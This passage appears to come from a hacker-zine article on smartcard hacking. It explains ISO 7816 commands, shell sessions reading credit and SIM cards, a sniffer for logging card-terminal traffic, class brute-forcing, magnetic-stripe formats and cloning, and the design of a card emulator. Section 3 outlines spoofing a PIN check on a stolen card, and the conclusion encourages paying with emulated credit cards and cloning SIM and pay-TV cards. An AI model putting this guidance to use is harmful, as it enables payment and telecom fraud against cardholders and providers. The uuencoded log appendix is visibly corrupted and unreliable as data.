Nota : If you don't receive 0x3B or 0x3F for TS, maybe you must reconfigure
your soft to receive Byte in another convention...

----[ 2.2 - Sending commands ]--------------------------------------------

        The instructions are send to the card via a serial link. The protocol
is explained in the standard but is mereley like an I2C without scl. The
packets are composed with five parts :

        CLA : 1 Byte. ISO Class. e.g. :
BC = french credit cards,
A0 = SIM cards,
00 = Moneo/Open cards...

        INS : 1 Byte. Instruction. e.g.:
20 = PIN verification,
B0 = Read
B2 = Read record
D0 = Write
DC = Write record
A4 = Select directory
8x = Encryption with key 'x', the algorithms depends on the card,
C0 = Get answer...

        P1, P2 : 2 Bytes. Parameters, mostly it's an address to read/write.

        LEN : 1 Byte. Length expected for the answer or lenght of the argument

        ARG : LEN Byte. Argument you give for the instruction (bytes to write,
          data to cypher, PIN to verify...), sometimes, the card must answer
          a byte of aknowledgement -depending on the instruction- between
          each bytes in the argument buffer.

----[ 2.3 - Receiving answers ]-------------------------------------------

    To aknowledge to a command, the card send the instruction byte back to
the terminal, then a length of datas equal to the parameter LEN of the
command, and finish with SW1, SW2. ( 0x90 0x00 when the operation was
succesful ). If the operation wasn't successful, then only SW1 and SW2 are
sent, with a specific error code :

        0x6E 0x00       CLA error
        0x6D 0x00       INS error
        0x6B 0x00       P1, P2 error
        0x67 0x00       LEN error
        0x98 0x04       Bad PIN
        0x98 0x08       Unauthorized Access
        0x98 0x40       Card blocked
        ...
```

----[2.4 - For example]---

Here are some examples taken from shcap. You can download it from
<http://www.afturgurluk.org/~ender/shcap.tgz> .
But you can do the same with 7816shell <http://freshmeat.net/projects/sctk/>

If you use Shcap :

```
oops:~/7816/shcap_rel$ sudo ./shcap

Terminal> help
Shcap v0.0.9 by ender <ender@afturgurluk.org>

connect                 - Connect to the Serial port given with -D parameter
XX .. XX                - Send XX .. XX to the card
log                     - Log comm between card and terminal (need a season)
bf                      - Try to find ISO CLA byte of the card
reset                   - Reset the card
direct                  - Set direct convention
inverse                 - Set inverse convention
cd XX XX                - Select directory XX XX
cat XX XX               - Read rd_len bytes at address XX XX
readrec XX              - Read rd_len on record XX of current file
get N                   - Get N bytes of the answer
login                   - Verify PIN given
cypher XX .. XX         - Cypher 8 Bytes
set                     - Set parameter :
                           cla=XX    Set the iso class to XX (default 00)
                           key=X     Set the cyphering key to X (default 0)
                           rd_len=N  Set the read lenght to N (default 8)
                                               timeout=N Set the poll timeout to Nms (def
ault 500ms)
help                    - Display this help
quit                    - Exit the shell

  ###### Example with a Bull CP8 mask 4 BO' (french credit card) ######
Terminal> connect

Reset for a B4/B0' :
ATR: 3F 65 25 08 93 04 6C 90 00

Analysing the ATR :
3F -  Convention inverse
6  -  TB and TC sent (if TD is not sent, the protocol is 0 : send words)
5  -  5 historical Bytes
25 -  TB : Programming current : max 50mA - Programming Voltage 5V
08 -  TC : GuardTime : 8 * 1/9600Hz = 833us

Historical Bytes
93 04 6C 90 00  --Note that the 90 00 change to 90 10 after a first
                  wrong PIN code


Reading Constructor Area of a B4/B0' :
Terminal> set cla=bc
ISO CLASS set to BC

Terminal> set rd_len=8
READ LENGHT set to 8

Terminal> cat 09 C0
               --Read at $09C0 8 bytes
```

```
Card> B0 19 DF 64 08 1F F4 0F B0 90 00

Analysing Constructor Area :
19 DF 64 08 : Card Serial Number
1FF4 / 0FB0 : Free Read area : $07F8 / Access Control : $03E8
90 00       : ok


Signing Data with salt in [07E8] :
Terminal> set key=0                         --Cipher 8 Bytes with K0
KEY set to 0

Terminal> cypherCB 09 11 15 04 16 00 07 E8  --ARG=09 11 15 04 16 00 [07 E8]
Card> 90 00                                 --Instruction ok

Getting response :
Terminal> get 8                             --Get answer 8 bytes
Card> C0 12 4F 54 A3 64 C5 2B 07 90 00      --12 4F 54 A3 64 C5 2B 07 ok

             ##### Example with a SIM card for GSM #####
Terminal> set cla=a0
ISO CLASS set to A0

Verifying PIN 12345678 on a SIM :
Terminal> login                             --Check PIN 8 Bytes
Enter your PIN code : 12345678              --The PIN is encoded in ASCII
Card> 90 00                                 --PIN ok

Selecting /TELE
COM/SMS/ directory in a SIM :
Terminal> cd 7f 10                          --Select TELECOM dir : 7F 10
Card> 9F 16                                     --Dir description, 20Bytes
Terminal> cd 6f 3c                          --Select SMS subdir : 6F 3C
Card> 9F 0F                                         --Dir description, 15Bytes

Reading msg (15 Bytes) :
Terminal> get 15                            --Get 15 Bytes
Card> C0 00 00 ** ** 6F 3C ** ** ** ** ** ** ** ** ** 90 00

Reading the 3rd SMS of current file :
Terminal> set rd_len=176
READ LENGHT set to 176

Terminal> redrec 3                          --Read record 3, 176Bytes
Card> B2 00 FF .. FF 90 00                      --status = 00, data=0xff..ff
Terminal> quit
```

Well. That’s all for the examples...not really dificult, isn’t it ?

--[2.5 - Your Rights]---

SmartCards use some kind of filesystems, so there are some rights (xrw) for the different areas are files. The right to execute is obviously for instructions only...
Generally, for a single-provider card, there are three levels :

- -Nobody, when you boot the card you are not yet identified...
- -Owner, you are "logged in" when you enter your PIN
- -Provider, there is another code named PUK you can’t know. It is used for example when you stupidly block your card, to reset the blocking mechanism.

In a SIM card (at least, the SIM card I have worked on), you cannot read or write if you didn’t login. When you enter (the instruction name is verify) the PIN, then you can read, and even write in some files (mostly in TELECOM directory, containing your SMS, your dialing numbers, etc.).
In credit cards, which are divided in areas, you need the PIN just to read/write your Transaction Bulletin (at least for french ones... It is also a major security hole if the PIN is not verifyed dynamically by the bank).

```
--[ 3 - SmartCard Man in the middle ]-------------------------------------

        Something which is very useful for studying smartcards is a Season :


             _____________                 __________
             |           |--  6            |--      |
             | Terminal  | |--/------------| Card   |
             |___________|--         |     |________|
                                     |
                                     / 3                        Display ;)
                                  ___|_____                    ____________
                                 | Season |      3             | logging: |
                                 |________|------/-----RS232-->| 3F 16 15 |
                                                               |__________|


    You need to connect 6 wires from your smartcard to a Wafer, but only 3
to your computer. If you have read the standard, you now that there is only
one pin dedicated to the Input/Output. You also need to connect the ground
(useful to have a reference...) and the Reset pin in order to start logging
when the card boots. It will permit you to log the dialog between the
terminal and the smartcard. This the most common way to analyse a smartcard
when you have an access to the terminal, but you might want to study the
terminal with a logic analyser awfuly expensive and reverse the results on
the screen of your oscilloscope (might sound very silly, but someone did
that :p). If for some reasons you don't have any physical access to the
terminal, report to next part.
The scheme for a season is quite simple, you can add some LEDs to see what
is going on. The MAX232 is here to convert the 5V from the card pins to
the 12V of the RS232 link of your computer (or laptop ;).


                                 +--------------------------+
                                 |                          |
   +-----------------------------|-+      LED 3mm  R1 250ohm|
   |                    1 _   _16| |     _____|/|___/\/\/\__+
   |                    -| |_| |-+ |      |   |\|           |
   | +---------------+  -|  M  |---|------+                 |  Connector ISO
 1 | |               |  -|  A  |---+    __|__               |
 __|_|_______ 5      |  -|  X  |-       /////             1 |______ 5
 | | | . . ._______  |  -|  2  |-                          /+_|  __+--------+
  \ . . . . /     |  |  -|  3  |----------------------------+_|  |___|      |
 6 \_______/ 9    |  +---|  2  |-----------------+        |___|__|_+-----+  |
     DB9          |     -|_____|-                |      4 \___|__|__/ 8  |  |
                  |     8       9                +-----------------------+  |
                  |                                                         |
                  +---------------------------------------------------------+
                __|__
                /////
                               Scheme for a season

ISO Pins                        DB9 Pins
1. Vcc   5. Gnd             1   2   3   4   5
2. Rst   6. Nc             DCD RxD TxD     GND
3. Clk   7. I/O               6   7   8   9
4. Nc    8. Nc

Don't forget to add 4 x 0.1uF between pins 2-16, 15-6, 1-3 and 4-5 of the
MAX232. You can refer to the MAX232 datasheet for more details (ascii scheme
are not that clear...)

        Now you have to log the data, just write somewhere on your hard drive
the datas sent and received by the card. You can try this with the 'log'
command in shcap, or with the program 7816logger from sctk.

The real problem is to analyse these datas.
```

    * Firstly, the card send an ATR (which stand for Answer To Reset).

    * Now that the terminal know the identity of the card, it can send
    instructions composed firstly of 5 bytes.
    * Then the card repeat the code of the instruction and the terminal can
    send the argument buffer if it is not empty, then the card can answer,
    * et caetera...

You can try to search the ISO class (sent just after the ATR) and try to indent your log with just this information, and the knowledge of the "protocol" as explained earlier...

After that, you should be able to recreate the behaviour expected by the terminal, excepted for the cryptographic instructions... but this is another problem. You have surely heard of S/DPA (Single/Differential Power Analysis), DFA (Differential Fault Attack) or Time Attack which are the current means for retrieving "easily" the keys stored inside cards. But this is not our topic.

Obviously, if you want to make an attack against a terminal with such a system, you can : by overriding the real card, recording what the card must answer, and processing the answer before replaying. The processing could be used, for example, to make the terminal believe the PIN you entered was the good one (because you are evil and you are trying a card which is not yours), by putting the card in standby and reproducing the behaviour of the card as if the PIN was really the good one...
It only works if the authentification system of the smartcard doesn't need the PIN for generating the certificate, which is not really common.
Well, if you can reproduce the authentification, it is not necessary to do such an attack, because you can get rid of the original card, but it is not an easy way ;)

You can find at the end of the article an exemple of a communication between a credit card and a terminal. The datas inside the cards are not always obvious to guess. Generally, you can hope to find an official documentation somewhere, or try to see the changes that happen between each use of the card.

--[4 - BruteForcing unidenfitied cards]---------------------------------

When you don't know the ISO class of the card you want to play with, you can bruteforce the iso class. It is not very dificult if your computer is able to count from 0x00 to 0xFF.
By retrieving the error codes from the card, you know the class is the good one because the card send you an INS Error (6D 00), instead of a CLA error (6E 00).

So you've got it. And instructions are public, so I put some examples upper, and others are in the ISO7816, and on the Internet...
<http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4.aspx>
<http://www.cardwerk.com/smartcards/
smartcard_standard_ISO7816-4_6_basic_interindustry_commands.aspx>

To guess the architecture of a card is a different matter. Always try the instruction 0xB0 to see if you can read some addresses, and you'll can interpret the error messages if you cannot read. If the smartcard has got a filesystem, you can verify it with selecting (ins 0xA4) the root directory 0x3F00, and see what is going on. Get the response to see if there are some other directories.
As you know the error code for a P1 P2 wrong (bad address) you also can try to evaluate the capacity of the card: 8ko ? 64 ko ?. It works only if there is no filesystem, like in credit cards... See for examples down here :

--[5 - Examples of mapping and filesystem]------------------------------

----[5.1 - Mapping of old french Credit cards]--------------------------

Bull CP8 mask B0-B0'

```
            _____________________
$1000  |  Constructor area  |
       |____________________|
$09C0  |                    |
       |     FREE READ      |
       |____________________|
$07F8  |    Transaction     |
       |     Bulletin       |
       |____________________|
$03E8  |  ACCESS COUNTER    |
       |____________________|
$02B0  |  SECRET AREA       |
       |____________________|
$0200  |       N/A          |
       |____________________|
$0000
```

----[5.2 - File System of SIM Cards]-------------------------------------

--GSM SIMcard

```
3F00 ROOT dir
  |
   \__2FE2 Card serial Number

7F10 TELECOM
  |
  |\__6F3A Directory
  |\__6F3B Fixed directory
  |\__6F3C SMS
  |\__6F40 Last calls
  |\__6F42 SMS pointer
  |\__6F43 SMS status
  |\__6F44 Dialing numbers
  |\__6F4A Extension 1
   \__6F4B Extension 2

7F20 GSM
  |
  |\__6F05 Language
  |\__6F07 IMSI
  |\__6F20 Cyphering Key
  |\__6F30 Provider selector
  |\__6F31 Search Period
  |\__6F37 Account Max
  |\__6F38 Sim Service Table
  |\__6F39 Cumulated calls
  |\__6F3D Capability Config Param
  |\__6F3E Group ID 1
  |\__6F3F Group ID 2
  |\__6F41 Price per unit
  |\__6F45 Cell Broadcast msg ID
  |\__6F74 Broadcast Control Chan
  |\__6F78 Access Control Class
  |\__6F7B Providers Forbidden
  |\__6F7E Location Info
  |\__6FAD Admin data
   \__6FAE Phase ID
```

Then, you can log the communication between your SIM card and your mobile phone if you want more information ;)

--[6 - Cyphering with smartcards]--

All smartcards can cypher or generate a certificate to authenticate itself to a terminal or a provider. Mostly the instructions 0x80 to 0x8F are used to do it. To get the answer, just ask for it with the 0xC0 instruction.

Open cards are made particularly to such things. Open means you can find all the documentation you want about it on the Internet

```
(www.opensc.org), so I won't stay on it...
    The encryption system in smartcards is mostly to authenticate the card.
But all its security do not depends only on the cryptographic mechanisms
inside the card. The protocol is generally the weak part of the
authentication...

--[ 7 - Magnetic stripe ]-------------------------------------------------

        Magnetic stripes on smartcards are very common. As this is a completely
passive way of authentification, it can easily be cloned. However, it also
means that all the difficulty is in the interpretation of the data contained
in the stripes and the understanding of the algorithms for cyphering
discretionnary data in the case you might want to generate your own card,
or just change some information.
You will need for this part of a magnetic stripe reader. It is quite expensive
but it is also possible to make its own driver and do it with just a tape
recorder. You can try cmread http://www.afutgurluk.org/~ender/cmread.tgz
for a driver on LPT1.

    Depending on your software and hardware, you will have more or less easily
these informations : the density of encoding, and the number of bits per
character. For the number of bits per character, if you have read with the good
number of bits without errors, then you have to check the parity bits. Normally,
the soft you used to read the stripe is able to to do such a thing, other wise
the method consist in :
        - Take the first bit equal to 1
        - Check the parity on the first 5 bit
        - If it is not OK, then try with 6,7,8 or 9
        - Try on the next pack of [5,6,7,8,9] till the end.
        - Check the LRC

There are two ways for detecting error, the first is with the parity bits, the
second is the LRC for Longitudinal Redondancy Check. The character of the track
is equal to the XOR of all characters.

There are 3 different cases easily recognizable :

----[ 7.1 - ISO ]---------------------------------------------------------

        ISO-1 (210 bpi - 7 bits) : The stripe is divided in several parts :

- '%' Start sentinel
- 'B' Format code
- Primary account number (your account number on your credit card for example)
- '^'  Field separator
- Name of the owner
- Field separator
- Expiration date (4 BCD numbers)
- Service Code (101 for VISA, ...)
- Discretionnary data
- '?' End Sentinel
- LRC

Example :
% B 0123456789012345 ^ MR SMITH JOHN       ^ 9910 101
12345678900000123000000 ?

It is not compulsory exactly like that, but it cannot differ a lot.

        ISO-2/3 (75 bpi - 5 bits):

- ';' Start Sentinel
- Primary Account Number
- '=' Field separator
- Expiration date
- Service code
- Discretionnary data
-
 '?' End Sentinel
- LRC
```

```
Example:
; 01236789012345 = 9910 101 123456789000000123 ?

Note that the PAN (Primary Account Number) must verify the Lhun Algorithm.

        The standard is ISO-7811 if you want more information...

----[ 7.2 - ALPHANUMERIC ]--------------------------------------------------

        It is quite like ISO, but a bit less verbose. You just have the same
Start sentinel depending on the number of the track (1 : '%', 2 & 3 : ';'),
the same Field Separators, and End Sentinel. Between Start and End Sentinels,
you have data coded in BCD or ALPHA separated by the field separator of the
track related.

----[ 7.3 - BINARY ]--------------------------------------------------------

        Keep in mind that there is not necessarily a structure like that.
Sometimes bit are put in desorder, as if the designer of the stripe was
completly drunk and was playing dice with friends to know what to do...
Just use your card and try to understand what has changed.

--[ 8 - Synchronous smartcards ]--------------------------------------------

        I just put this part in order to do a complete tour on smartcards. This
type of card is very lame, They have a poor capacity (less than 1kb in
general), they don't always respect ISO standard for pins. What is sure is
that you have 2 pins for Vcc and the ground, 1 pin for the Clock, 1 pin for
the reset, 1 pin for the I/O, and sometimes 1 pin for the Vpp (programming
voltage) and 1 pin for the Write Enabled.
        They don't have an ATR. They just react on negative edges of the Clock
pin by sending the next bit (or first if it is reseted) in its memory on the
I/O pin. If you can write, you will need a different voltage put on the Vpp
pin (up to 21V) and enable the Write pin. Generaly, you just can set a bit
from 1 to 0 beacuse of the OTP (One Time Programmable) technology used
inside (you just flash a fuse in the chip).
        French telephone cards use such a technology (Merci, France TeleCom.) ;)

--[ 9 - Programming a card for ISO7816 purposes ]-------------------------

        If you can read this line, it is because Phrack has accepted my
article without asking me to paste some of my codes to write a bloody
tutorial to code your own smartcard emulator using a pic from microchip
(www.microchip.com) and then you will need to think by yourself if you are
interested in how to write such programs (it is not very obvious...). As I
am nice and gentle, I give you the most common architecture :

        - Send the ATR (On each reset it will restart here)
        - Wait for the first Byte (ISO class) and verify it is the right one
        - Receive the second byte and compare it with each byte INS you have
        implemented, other wise send an error.
        - Jump to the part of code written for the INS asked for and process the
        arguments
        - Then you have 2 choices  (The Hacker's Choice is the best :p) :
                * use an eeprom to save all your datas, and then read and write
                it in order to complete the instrion asked for by the terminal
                * use the PIC flash, by writting a list of RETLW 0xXX, determine
                the offset of the Byte nee
ded and then just add this offset to
                the current Program Counter.

        Some advises :

    - ISO 7816-3 is your friend ;)
        - Never forget the parity bit to send datas, and also the ACK (or NACK)
        when you receive
        - Wait for a ACK from the terminal, if it is a NACK, just send again,
        and it will works
        - Write your own code, it will avoid you from silly bugs you don't
        understand that could lead you in prison in case of problem (big brother
        is always watching you, you cannot be wrong...)
        - Don’t do too nasty things, work only on an emulated terminal on your
        computer :p
    - Google is your friend to find URL for programming PIC-based smartcards
```

--[10 - Conclusion]---

No need to work in a laboratory to play with smartcards security at
an interesting level. Don’t believe that S/DPA, or DFA is the only way
to study cards. Some of the articles on such methods are written by people
who has never seen a glitch generator in their whole life...
Eventually you just need an old 486 and a soldering iron to find security
holes in smartcard protocols and then buy some food with emulated credit
cards, phone friends with a self made SIM card watching numeric tv with a
self made viaccess/seca smartcard and enter in almost place protected with
smartcard or magnetic cards. Or just keep it for you ;)

--[11 - Greetings]--

Roland Moreno ;)

--[12 - Bibliography]---

```
    -PC et Cartes a puce, Patrick Gueule
        -Ender’s Game, Orson Scott Card
        -The Hitchhiker’s Trilogy, Douglas Adams
        -Discworld, Terry Pratchett
```

--[Appendix A: Communication log - old_log.txt (uuencoded) ---------------

```
<++> ./old_log.txt.uue

begin 744 old_log.txt
M("`@("`@("`@("`@("`@(",C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C#0H@("`@("`@("`@("`@(R`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@(",-"B`@("`@("`@("`@("`C("!(3U=43R`Z(%!A
M>2!7:71H(%9I<G1U86P@0V%S:"`@(PT*("`@("`@("`@("`@("`@(",@("`@
M("`@("`@("`@("`@("`@("`@("`@("`C#0H@("`@("`@("`@
M("`@(R`@("`@("`@("`@("`@("`@("`@("`@("`@(",-"B`@("`@
M("`@("`@("`C("`Q-"\P,2\R,#`R("`@("`@("`@("`@("`@("`@("`@
M(PT*("`@("`@("`@("`@(",@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`C#0H@("`@("`@("`@("`@(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,-"@T*#0H@("`@4VEM=6QA=&EO;B!O9B!A('1R
M86YS86-T:6]N(&)E='=E96X@82!C<F5D:70@8V%R9"!#4#@@;6%S:S0@87!P
M;&EC871I;VX@#0I","<@86YD(&%N(&5L96-T<F]N:6,@<&%Y;65N="!T97)M
M:6YA;"!#2T0@4S(P-3`N(%1H92!N;W1A=&EO;B!I<R!L:6ME('1H870@.@T*
M("`@("`^/E1E<FUI;F%L#0H@("`@($-A<F0@#0I4:&4@9FER<W0@<75A<G1E
M="`H-"!B:71S*2!O9B!E86-H('=O<F0@*#$V(&)I=',I(&-O;F-E<FX@=&AE
M(')I9VAT("AR=RD@;V8@#0ID871A<RP@97AC97!T(&EN(&-O;G-T<G5C=&]R
M(&%R96$@6S`Y($,P72X@#0H@("`@,B`M(#,N("!R96%D+6]N;'D@9F]R($%L
M;`T*("`@(#8@+2`W+B`@<F5A9"UO;FQY(&9O<B!5<V5R("A024X@96YT97)E
M9"D-"B`@("!&+B`@("`@(')E8600=W)I=&4@9F]R(%5S97(@*-"E)E8600@:6YS
M=')U8W1I;VX@.B!!"0R!","!;04$@04%=($Q%+"!!W:&5R92!!02!!02!I<R!A
M;B!A9&1R97-S(&%N9"!,12!T:&4-"FQE;F=H="!I;B!B>71E+@T*0WEP:&5R
M(&EN<W1R=6-T:6]N(#H@0D,@*#@P?#@T*2`P,"`P,"`P."`M($=E="`Z($)#
M($,P(#`P(#`X(#0I7<FET92!I;G-T<G5C=&EO;B!`Z($)#(#0P(%M!02`!
M05T@3$4L(('=H97)E($$%!(&ES(&%N(&%D9'`)E<W,@86YD($Q%('1H90T*
M;&5N9VAT(&EN(&)Y=&4N#0I!8VMN;W=L961G92`Z(#DP(#`P#0I4:&4@:6YS
M=')U8W1I;VX@:7,@86QW87ES("`)E<&5A=&5D(&)Y(&)E=&4@=&AE('1E<FUI
M;F%L+@T*0U-.+.+"!-86YU9F%C=='5R97(L(&%N9"!!0;VEN=&5U<G,@=&\@07)E
M82!!<F4@0F4@0U)Y:6YG(&EN=&\@9F5E9&)A8VL@#0H-"BLM+2TM+2TM+2L-
M"GP@24Y315)4("P-"GP@4$0@0$0($0@("P-"BLM+2TM+2TM+2L-"@T*+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+0T*("`@(#X^1D8@("`@("`@("`@("`@("`@("`@("`@("`\+2T@
M4F5S970-"B`@("`S1B`V-2`R-2`P."`S-B`P-"`V0R`Y,"`P("`@/"TM($$%4
M4B`H06YS=V5R(%1O(%)E<V5T*0T*+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+0T*#0HO*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ#0H@*B!296%D('1A8FQE(&]F(&%R96$@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`J#0H@*B`J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ+PT*#0H@("`@
M/CY"0R!","`P.2!#,"`R,`T*("`@($(P(`T*("`@(#%$(#E&($8U(#$V("`@
M("`@/"TM(%)E861I;F<@<&]I;G1E<G,-"B`@("`R,R`Y1B`P02!#,R`@("`@
M(#PM+2!!1$P@/2`P."`X,"`H.48@,$$I+"!C<F5D:70@8V%R9"!O;&1E<B!T
M:&%N(#$Q+SDY#0H@("`@,$$@0S,@,$$@-3<@#0H@("`@,#D@1C$@,#@@1#D@
M#0H@("`@,T8@134@,C`@,#(@("`@("`\+2T@0W)E9&ET(&-A<F0@87!P;&EC
M871I;VX-"B`@("`P.""`T1""`P,"!",2`@("`@(#PM+2!-86YU9F%C=&5R97(@
M240@*%-H;'5M8F5R9V5R*0T*("`@(#0T($,R(#A!(#!%("`@("`@/"TM($-3
M3B`Z($-A<F0@4V5R:6%L($YU;6)E<@T*("`@($5"(#0Y(#E&($-#(`T*("`@
M(#DP(#`P(`T*#0H@("`@/CY&1B`@("`@("`@("`@("`@("`@("`@("`@(#PM
M+2!297-E=`T*("`@(#-&(#8U(#(U(#`X(#,V(#`T(#9#(#DP(#`P("`\+2T@
M0512("A!;G-W97(@5&\@4F5S970I#0HM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM#0H-"B\J*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BH-"B`J($%U=&AE;G1I8V%T92!#87)D('=I=&@@82!S=&%T:6,@
M<VEG;F%T=7)E(%)302`S,C!B:71S("H-"B`J("HJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO#0H-"B`@
M("`^/D)#($(P(#`Y($,P(#(P(`T*("`@($(P(`T*("`@(#%$(#E&($8U(#$V
M("`@("`@/"TM(')E861I;F<@86=A:6X@;6%N=69A8W1U<F5R(&%R96$-"B`@
M("`R,R`Y1B`P02!#,R`-"B`@("`P02!#,R`P02`U-R`-"B`@("`P.2!&,2`P
M."!$.2`-"B`@("`S1B!%-2`R,"`P,B`-"B`@("`P."`T1"`P,"`P,"`-"B`@
M("`T-"!#,B`X02`P,B`-"B`@("`!%0B`T.2`Y1B!#0R`-"B`@("`Y,"`P,"`-
M"@T*("`@(#X^0D,@0C`@,#`@,#$@,T`@-S`-"B`@("`!(","`@#0H@("`@,D4@,#`@
M,,S`@,S`@("`@("`\+2T@<')O=FED97(@,#,@.B!!(=71H96YT:6YI8V%T:6]N
M(%9A;;'5E("A24T$@,S(P(&)I=',I#0H@("`@,S`@,#`@,#D@,#`@,C$@,#`@
M,T(@,D8@.#0@-40@,#0@-$0@,T0@,S(@,#(@,#@@,$$@,#4@,C@@,C0@,#(@
M,C<@,#0@,#@@-#`@,#0@,T0@,#(@,#`@,$$@,T4@,#(@,C@@,#(@,S4@,#`@
M,T(@,3`@,#0@,T8@,C`@,#<@,$(@-44@,#(@,S`@,#0@,#8@,#(@-#`@,#`@
M,T8@,C8@,#(@,#`@,T$@,T(@-$$@,T$@,T0@,C`@,#`@,#8@,C(@,#`@,38@
M,#`@,T$@,#`@,T$@,#`@,T$@,$$@,40@,#`@,S@@,#0@,T`@,#`@-$`@,#`@
M,S`@,#`@,S4@,#`@,T`@,#`@-3`@,T`@,#@@,#`@,T`@,#,@,#`@,34@,#`@
M,S`@,3`@,#`@,#D@,#`@,#`@,T`@,#`@,T0@,#@@,#`@,T$@,#`@,S`@,#8@
M,S`@,$$@,#@@,T$@,#`@,#`@,38@,#`@,#`@,T$@,#`@,T`@,#`@,T8@,#`@
M,"4@+"`@+2`@,#`@,C$@,#`@,S4@,#(@,T0@,#`@,#`@,T`@,#`@,T`@,#`@
M,",@,#`@,#`@,T`@,#`@,T`@,#`@,$4@,T0@,#@@,#`@,S4@,#`@,T`@,#`@
M,#`@,#`@,T`@,#`@,#`@,T`@,#`@,T`@,C`@,$4@,3(@,#(@,#`@,$$@,#`@
M,S`@,T`@,#`@,#`@,T`@,#`@,#`@,T`@,#`@,T`@,#`@,T`@,#`@,T`@,#`@
M,#`@,$`@,#0@,#`@,T`@,#`@,T`@,#`@,T`@,#`@,T`@,#`@,T`@,#`@,T`@
```

```
M.`T*("`@(#=&(`T*("`@(#X^1#`@("`@("`@("`@("`@/"TM(#`Q(#$T(#(Q
M(#4T(#`X(#`P(%LP."!$,%T-"B`@("`Y,"`P,"`@#0H-"B`@("`^/D)#($,P
M(#`P(#`P(#`X(#PM+2!296%D:6YG(')E<W5L=`T*("`@($,P("`@("`@("`@
M("`@("`@#0H@("`@,#$@,30@,C$@-30@,#@@,#`@,#@@1#`@/"TM(%=E;&PN
M+BX@35D@86YS=V5R(#LI#0H@("`@.3`@,#`@#0H-"B`@("`^/D)#(#@P(#`P
M(#`P(#`X(#PM+2!#>7!H97)I;F<@*$-"0R!-;V1E*0T*("`@(#=&(`T*("`@
M(#X^,C$-"B`@("`W1B`-"B`@("`^/C4T#0H@("`@-T8@#0H@("`@/CXP.0T*
M("`@(#=&(`T*("`@(#X^,#`-"B`@("`W1B`-"B`@("`^/C`X#0H@("`@-T8@
M#0H@("`@/CY&-2`@("`-"B`@("`W1B`-"B`@("`^/C`X#0H@("`@-T8@#0H@
M("`@/CY$,"`@("`@("`@("`@("`\+2T@,C$@-30@,#D@,#`@,#@@1C4@6S`X
M($0P72`-"B`@("`Y,"`@P,"`-"@T*("`@(#X^0D,@0S`@,#`@,#`@,#@@/"TM
M(%)E861I;F<<F5S=6QT#0H@("`@0S`@#0H@("`@,C$@-30@,#D@,#`@,#@@
M1C4@,#@@1#`@#0H@("`@.3`@,#`@#0H-"B`@("`^/D)#(#@P(#`P(#`P(#`X
M(#PM+2!#>7!H97)I;F<-"B`@("`W1B`-"B`@("`^/C`Y#0H@("`@-T8@#0H@
M("`@/CXR,`T*("`@(#=&(`T*("`@(#X^,4,-"B`@("`W1B`-"B`@("`^/D,S
M#0H@("`@-T8@#0H@("`@/CQ1@T*("`@(#=&(`T*("`@(#X^1C<-"B`@("`W
M1B`-"B`@("`^/C`X#0H@("`@-T8@#0H@("`@/CY$,"`@("`@("`@("`@("`\
M+2T@,#D@,C`@,4,@0S<@1C<@6S`X($0P70T*("`@(#DP(#`P(`T*#0H@("`@
M("`@/CY"0R!#,"`P,"`P,"`P."`\+2T@4F5A9&EN9R!R97-U;'0-"B`@("!#
M,"`@("`@("`@("`@("`@("`@("`@(`T*("`@(#`Y(#(P(#%#(#$S(#%&($8W(#`X($0P
M(#PM+2!#04D@*'=H870@:7,@;VX@=&AE(#0H@("`@.3`@,#`@#0H-
M"B\J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BH-"B`J(%)E860@5')A;G-A8W1I;VX@8G5L;&5T:6X@
M86YD('=R:71E('1R86YS86-T:6]N("`@("`@("H-"B`J("HJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO
M#0H-"B`@("`^/D)#($(P(#`R($(P($9#(#PM+2!296%D:6YG('1R86YS86-T
M:6]N(&)U;&QE=&EN(#H@0414#0H@("`@0C`@("`T*("`@(#,P(#`P(#DY(#$Q
M("`@("`@/"TM($1U<FEN9R!M;VYT:"!!O9B`Q,2\Y.0T*("`@(#,R($0X($0T
M(#@P("`@("`@/"TM(&]N(#(W(#H@-30T+#`P0R#`P(#`@,3`@,1#`@
M-C@@("`@("\+2T@;VX@,C@L(#`@,1G(-"B`@("`S+%(!%,"!!,1B!#
M."`@("`@(#PM+2!O;B!B`R,%"`R(#0T+5)05"T-"B!&<@T*("`@(#,S($,X($0V
M("`@("`@/"TM(&]N(#(Y(#H@-3(K(#DT($9R#0H@("`@+$,S(#,P0#`T-#`M4#`@
M("`@("\+2T@;VX@,CD@+$-$0"Y"`T-T,!P!N;R!`*0T*("`@(#,S("`@("`P
M("`@(#PM+2!L;V-K;6]R92`B!S8T`F`F#P`M`L,G`@(#,V("`@("`@
M.""`@("`@(#PM+2!O;B!B`R,%"`L(#0P+5)05"T-"B!&<@T*("`@(#(S(#0X
